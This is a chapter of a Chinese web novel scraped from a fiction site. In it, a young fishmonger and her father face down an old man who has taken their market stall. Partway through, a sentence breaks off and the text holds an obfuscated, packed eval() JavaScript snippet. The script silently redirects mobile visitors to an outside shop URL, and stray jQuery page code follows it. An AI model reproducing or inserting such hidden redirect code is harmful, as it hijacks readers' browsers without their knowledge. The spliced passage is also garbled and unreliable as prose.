文趣网 > 其他小说 > 小桥流水人家 > 1. 第 1 章(捉虫)
    正月里,寒气未散。

    天色尚早,灰蒙蒙一片,看不见丁点儿阳光。

    冷风呼呼吹过,卷起枝头孤零零的枯黄树叶,打着旋儿飘至载着两只近半人高大木桶的老旧板车。

    眼看枯叶就要翻身进桶,一只冻得发红的手及时伸出,抓住它随意丢到地下。

    就是这一松懈,车轱辘转动更显吃力,吱吱呀呀,好不凄惨。

    前头拉车的瘦高汉子攥紧套在腰间的麻绳,从鼻腔呼出一阵白烟,闷声道:“我自个儿拉得动,你要是累了就歇着。”

    柳满月赶忙把发僵的手在裤腿上蹭了蹭,就重新弯下腰扶住板车边缘,用力推着向前,“不用,今儿天冷,早些卖完回去的好。”

    “嗯。”柳福生应了下,便不再吭声,只顾闷头赶路。

    一前一后,一拉一推,父女两都下足了力气,板车行进倒也不算慢。

    只是乡间土路不甚平坦,偶有颠簸,不时惊动桶里的鱼上下翻腾。伴随啪啪声响,冰凉水珠四溅而起,落在毛糙木板车上,又将其浸湿几分。

    马不停蹄又走了小半个时辰,总算看见清源镇的石雕牌楼。

    正月十五一过,摆摊开店、采买上工的人陆陆续续走出家门,镇子已恢复往日的热闹,老远就能听见吆喝叫卖声。

    俩人穿过人群,熟门熟路来到惯常摆摊儿卖鱼的地方。

    鸡鸭鱼虾等的腥臭味扑面而来,柳福生却不由松了口气。

    可算是到了。

    他抬起手擦汗,顺带眯眼朝前望去,却没见着空位,不由有些迟疑地顿住脚步。

    “爹!咋不走了?”

    手下推车陡然变得沉重,柳满月困惑抬头,这一看就惊觉大事不妙,当即变了脸色,怒道:“好啊,今儿抢咱们头上了。”

    清源镇算不上大,几处集市都是附近商贩自发聚集而成。用不着像县城那般交租子才能摆摊,当然,也没有专人负责维护管理。

    但经年累月下来,也有些约定俗成的规矩。譬如选定一处摊位之后,轻易不会变动,更别说抢占他人地盘。

    毕竟都是小本经营,挣几个子儿不容易,犯不着与人交恶。再说换来换去的,也难留住回头客,并不值当。

    常年在这边摆摊的农户商贩们对此心照不宣,一直相安无事。有时遇上新来的不懂规矩,旁人说道几句也就照做。

    偏生这个李老汉,来了五六天,几乎每日都在和人争抢摊位。

    这不,今儿又轮到他们倒霉。

    柳满月越想越气,撸着袖子便要上前。

    柳福生怕惹事,忙拉住她,舔了舔干裂的嘴唇,小声劝道:“要不算了,咱再重新找个地儿就是。”

    “那哪儿行,我们在这儿摆了十几年,陡然挪个地方,谁还晓得?真让他得了便宜,还当我们是好欺负的。”

    柳满月推开横在身前的胳膊,气势汹汹地离开。

    “唉!唉——”

    柳福生拦不住她,原地跺了下脚,瞥见身后湿漉漉的木桶,长叹一声,只能赶紧铆足劲拉起板车,努力跟上脚步。

    柳满月盯着路旁正在摆放鸡笼的李老汉,眼里能冒出火来,但等真到了摊位前,她还是尽量收敛怒容,堪称好声好气地开口:“老伯,这摊子有人了,是我们一直在摆的。”

    李老汉转过身,不知有意无意,拎在手上的竹笼差点儿甩到柳满月身上。

    柳满月急急后退一步,只当他没听清,扬声又唤了好几遍“老伯”。

    李老汉终于把小推车上的竹笼子都搬下地,这才慢吞吞掀起眼皮瞟过来。

    一看站在面前的是个丫头,跟在后面的柳福生又瘦得和麻杆似的,也不像不好惹,心下有了计较。眼珠子一转,摆出副凶恶模样,口水四溅地嚷开——

    “叫魂儿呢叫!咋的?地上写你家名字了不成,搁那儿嘴皮子一碰就要抢了去?”

    这样子就是不愿好好谈。

    “真是给脸不要脸,”柳满月收起笑,眉毛一竖,完全不输气势,“大伙儿之前骂的都喂狗了?若听不懂人话就在家好生待着,别天天跑出来讨嫌。”

    有热闹可看,周围的人渐渐聚拢。

    李老汉自觉不能丢了面子,继续不依不挠:“一丫头片子,说话也忒难听。我来的时候这摊子就空着,自是谁先占了就归谁。”

    “我们在这儿摆了十来年的摊,可没听过这样的规矩,谁家不是一直守着自己的摊位过活。哪像你一来就抢这个占那个,要都学着这样,大伙儿还做不做生意了?”柳满月说着抬起下巴扫视一圈。

    李老汉一来就把集市搞得乌烟瘴气,周边摊贩早看不顺眼。而且依他这蛮不讲理的脾性,保不齐明日就占了他们的地,当下便有人附和柳满月。

    “就是,这镇上的集市向来这样,摊子几乎都是固定的。要和你似的觉着谁家生意好,就起个大早来抢先占去,不是乱了套?”

    “街尾还有那么多空呢,随便选一处摆着,时日长了总能好起来。咱们都是这么过来的,总不能你一来就坏了规矩。”

    “一次两次还能说是不懂,你这都第几回了,再闹下去不合适吧?存心找茬儿就早早滚回家。”

    众人七嘴八舌地指责着,柳满月又毫不退让,李老汉叫喊的气势渐弱,心中暗道失算——瞧着挺年轻一姑娘,竟不是个软柿子。

    眼见争不过,他又生一计,抬手捂住心口,两眼一翻就要往后倒。

    在集市待了十多年,柳满月早见惯这伎俩,一个跨步上前,抓住李老汉的胳膊架高,似笑非笑道:“老伯身子骨不行啊,这站都站不稳当了。当心别摔着,再扣到我头上。”

    被点破心思,李老汉眼皮子抖了抖,一时僵在原地。

    等回过神来,又捂着胳膊骂骂咧咧:“有娘生没娘养的玩意儿,欺负老人算什么本事。一姑娘家,不搁屋里洗衣做饭,跑外头来做甚买卖,我看就是想勾人,难怪有那么多汉子帮腔……哎哟!”

    李老汉说的正起劲儿,迎面飞来一团湿乎乎的烂抹布,他躲闪不及,被砸个正着。满是鱼腥气的污水糊了满脸,气得李老汉面容扭曲,叫唤一声,扬起手就要打柳满月。

    一片惊呼声中,停稳板车的柳福生上前,眼疾手快抓住李老汉两条胳膊。

    李老汉扭了下身子,竟没挣脱,面上抹不开,又准备骂人。但一触及柳福生视线,嘴皮子颤了颤,愣是没憋出一个字儿。

    柳福生虽瘦,个子却极高,李老汉绷直了身子,驼背的他也才差不多比人腰际高出一点。而且他只有一只眼是正常的,左眼幼时玩草箭不慎被射伤,之后就变得有些可怖。

    因

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631371|206365||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    此,他平日里总低着头,极少与人对视。

    这会儿因为着急,他也顾不上遮掩,整张脸完完全全露出,又是如此居高临下、不声不响地盯着人看,还是很瘆人的。

    李老汉倒吸一口冷气,到嘴的脏话最后变成了弱声弱气的“松开”二字。

    “那你可不能再乱说,我闺女只是性子急,没什么坏心。”

    手腕被捏得生疼,李老汉哪敢辩驳,也不敢多待,连连点头:“哎哎,我这就走,这就走。”

    柳满月捡起落在地上的抹布,一看李老汉缩头缩脑的样子,很是畅快:“再胡说八道,就塞你嘴里。”

    有和柳福生关系不错的摊主哄笑出声:“嘴那么臭,可别脏了你家的抹布,还是直接揍一顿的好。”

    “关你屁事!”

    李老汉刚硬气还嘴,一回头发现柳福生伸手向竹笼,吓得他拎起来往小板车上一扔,推起就跑。

    柳福生摸了个空,一看人跑得跌跌撞撞,有些过意不去,好心提醒:“叔,你慢些走。”

    哪知李老汉跑得更快了。

    柳福生摸摸眼眶,抿紧嘴唇低下头,一声不吭帮着柳满月收拾摊子。

    地上打扫干净,几只木桶一摆,菜刀砧板放好,卖鱼的摊子就支起来。

    “让大伙看笑话了,今儿的鱼便宜卖,随便挑,要剐鳞剁块的尽管开口啊!”

    柳满月一吆喝,立马有人上前来,凑到木桶边细细打量。

    “花婶,好些日子没见,嫂子快生了吧?这鱼新鲜着,还活蹦乱跳的,回去炖汤补身子最好。”

    “就这个月了,可把我愁的,”被叫花婶的妇人嘴上这么说,却笑得见牙不见眼,“还是老样子,给挑条最大的鲫鱼,拾掇干净了。”

    “得嘞。”

    柳满月应一声,高高挽起袖子,弯腰往木桶里一摸,眨眼间就捞起一尾鱼。见花婶点头,三两下穿好草绳打结,过完秤后便丢给坐在一旁的柳福生。

    来摊子买鱼的熟客居多,柳满月记性好,都能拣人家在意的事聊上几句,也不耽误干活。

    但偶尔也会有眼生的客人。

    “送到福禄巷子第三户人家,苏老爷是吧?”柳满月抬手指向河对岸,再次和面前小厮模样的客人确认。

    “哎,明儿一早就要,赶着做席面的,可别误了时辰。”

    “您放心,赚钱的事怎么着也不能忘。”

    得了保证,客人这才满意离开。

    “二十条啊,明天可以少在外面冻一会儿了。”等人走远,柳满月便搓着手嘀咕,声音难掩雀跃。

    “嗯。”暂时没什么活,柳福生正埋头捡拾散到地上的鱼鳞,闻言依然没多话,但微微扬起的嘴角也显露出好心情。

    柳满月习惯他这模样,并不觉得扫兴,笑眯眯摆弄装在木盒里的铜板。

    想起什么,又抬头望向河对岸——她总觉得那里有人在看着这边。

    不过只扫了一眼,柳满月就摇头收回视线。

    正对面的河岸边上可是清源镇最气派的同福酒楼,足足有三层,从早到晚进进出出的客人数不胜数。

    人家吃饭喝酒的时候,往外瞧一瞧再正常不过,没什么稀奇的。

    可惜柳满月并未注意,在她抬头的刹那,同福酒楼二层的某扇窗子正好悄悄合上。